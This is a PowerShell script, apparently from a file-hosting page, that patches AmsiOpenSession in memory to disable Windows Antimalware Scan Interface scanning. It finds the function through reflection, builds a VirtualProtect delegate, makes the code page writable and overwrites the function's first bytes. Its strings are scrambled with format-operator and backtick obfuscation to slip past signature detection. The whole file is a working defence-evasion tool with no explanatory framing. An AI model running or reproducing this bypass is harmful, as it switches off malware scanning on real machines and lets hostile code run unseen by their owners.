File size: 3,651 Bytes
f600807
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function l {
    Param(${m},${F})
    Write-Host ("{2}{4}{0}{3}{1}{5}{6}"-f'tio','cu','[l] ','n exe','Func','tion s','tarted') -ForegroundColor Green
    Write-Host ('[l'+'] '+'Para'+'met'+'e'+'rs: '+"ModuleName=$m, "+"FunctionName=$f") -ForegroundColor Cyan
    ${A}=([AppDomain]::CurrentDomain.GetAssemblies()|?{${_}.GlobalAssemblyCache -and ${_}.Location.Split('\\')[-1] -eq ("{2}{0}{1}"-f'yst','em.dll','S')}).GetType(("{0}{4}{5}{1}{6}{7}{3}{2}" -f 'M','.Unsa','hods','t','i','crosoft.Win32','feNat','iveMe'))
    Write-Host "[l] Assembly obtained: $($a.Assembly.FullName) " -ForegroundColor Green
    ${t}=@()
    ${a}.GetMethods() | % { if(${_}.Name -eq ("{2}{0}{1}" -f 'e','tProcAddress','G')) { ${t}+=${_}; Write-Host ("{3}{2}{1}{4}{5}{0}" -f ' found','] GetProc','l','[','Address m','ethod') -ForegroundColor Green } }
    Write-Host ("{2}{3}{0}{1}"-f 're','sult','[l','] Returning ') -ForegroundColor Green
    ${t}[0].Invoke(${nU`ll},@((${a}.GetMethod(("{2}{4}{3}{1}{0}"-f'le','and','G','oduleH','etM'))).Invoke(${n`ULl},@(${M})),${F}))
}

function g {
    Param([Type[]]${f},[Type]${D}=[Void])
    Write-Host ("{5}{4}{2}{3}{1}{6}{0}" -f 'd','n sta',' execut','io','n','[g] Functio','rte') -ForegroundColor Green
    Write-Host ('[g'+'] '+'Pa'+'ramete'+'rs: '+"Func=$f, "+"DelType=$d") -ForegroundColor Cyan
    ${T}=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('RD')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('IM',${FaL`Se}).DefineType('MDT',("{3}{1}{8}{5}{2}{6}{7}{0}{4}" -f 'las','ass, ','AnsiCl','Cl','s','d, ','ass, ','AutoC','Public, Seale'),[System.MulticastDelegate])
    Write-Host ('['+'g] '+'De'+'legate '+'ty'+'pe '+'crea'+'ted:'+' '+"$t") -ForegroundColor Green
    ${t}.DefineConstructor(("{7}{4}{6}{2}{1}{0}{5}{3}"-f', P','g','i','ic','Name, Hi','ubl','deByS','RTSpecial'),[System.Reflection.CallingConventions]::Standard,${f}).SetImplementationFlags(("{2}{0}{1}{3}" -f'unt','ime, M','R','anaged'))
    ${T}.DefineMethod('Invoke',("{6}{5}{4}{2}{7}{0}{1}{3}" -f ' ','NewSl','c, Hid','ot, Virtual','bli','u','P','eBySig,'),${d},${F}).SetImplementationFlags(("{0}{2}{3}{1}{4}"-f'Runti','Manag','me',', ','ed'))
    Write-Host ("{7}{4}{1}{5}{8}{2}{0}{3}{6}" -f 'a','t','re','ted typ','] Re','urn','e','[g','ing c') -ForegroundColor Green
    ${T}.CreateType()
}

Write-Host ("{7}{4}{6}{1}{10}{0}{5}{3}{2}{9}{8}" -f 'ode e','n ','on','i','in] ','xecut','Mai','[Ma','tarted',' s','c') -ForegroundColor Yellow
${A}=l amsi.dll AmsiOpenSession
Write-Host ('[Ma'+'in'+'] '+'Ams'+'iOpe'+'nSes'+'sion'+' '+'add'+'res'+'s '+'ob'+'ta'+'ined: '+"$a") -ForegroundColor Green
${O}=0
${v}=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((l kernel32.dll VirtualProtect),(g @([IntPtr],[UInt32],[UInt32],[UInt32].MakeByRefType()) ([Bool])))
Write-Host ("{10}{7}{11}{2}{8}{5}{1}{0}{9}{4}{6}{3}" -f 'alPr','r Virtu','ele','ted','r','o','ea','in','gate f','otect c','[Ma','] D') -ForegroundColor Green
${V}.Invoke(${a},3,0x40,[ref]${o})
Write-Host ("{3}{5}{6}{4}{2}{1}{0}"-f' changed','ights','r','[M','y access ','ain] ','Memor') -ForegroundColor Green
[System.Runtime.InteropServices.Marshal]::Copy([byte[]](0x48,0x31,0xC0),0,${A},3)
Write-Host ("{2}{3}{4}{6}{0}{5}{1}" -f's written to me','ry','[M','a','in] ','mo','Byte') -ForegroundColor Green
${v}.Invoke(${A},3,0x20,[ref]${o})
Write-Host ("{6}{8}{0}{1}{10}{3}{4}{2}{7}{9}{5}"-f'igin','al ','ss ri','a','cce','ts restored','[Mai','g','n] Or','h','memory ') -ForegroundColor Green
Write-Host ("{6}{2}{4}{0}{1}{5}{3}" -f 't','ion com','Exec','ed','u','plet','[Main] ') -ForegroundColor Yellow